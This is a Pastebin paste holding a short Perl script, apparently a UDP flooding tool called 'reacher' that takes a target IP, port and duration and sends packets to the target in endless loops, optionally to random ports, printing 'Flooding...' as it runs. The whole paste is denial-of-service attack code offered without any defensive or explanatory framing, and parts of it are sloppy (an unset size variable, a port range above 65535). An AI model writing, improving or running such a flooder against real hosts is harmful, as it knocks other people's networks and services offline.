Advertisement
Guest User

Untitled

a guest
May 29th, 2016
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Socket;
  3. $ARGC=@ARGV;
  4. if ($ARGC !=3) {
  5. printf "Wrong command, use: perl reacher <ip> <port> <time> \n";
  6. exit(1);
  7. }
  8. my ($ip,$port,$size,$time);
  9. $ip=$ARGV[0];
  10. $port=$ARGV[1];
  11. $time=$ARGV[2];
  12. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  13. $iaddr = inet_aton("$ip");
  14.  
  15. printf "\n";
  16. printf "Flooding... \n";
  17. printf "IP: $ip\n";
  18. printf "Port: $port\n";
  19. printf "Time: $time\n";;
  20.  
  21. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  22. goto randpackets;
  23. }
  24. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  25. system("(sleep $time;killall -9 udp) &");
  26. goto packets;
  27. }
  28. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  29. goto packets;
  30. }
  31. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  32. system("(sleep $time;killall -9 udp) &");
  33. goto randpackets;
  34. }
  35. packets:
  36. for (;;) {
  37. $size=$rand x $rand x $rand;
  38. send(crazy, 8, $size, sockaddr_in($port, $iaddr));
  39. }
  40. randpackets:
  41. for (;;) {
  42. $size=$rand x $rand x $rand;
  43. $port=int(rand 75000) +0;
  44. send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  45. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement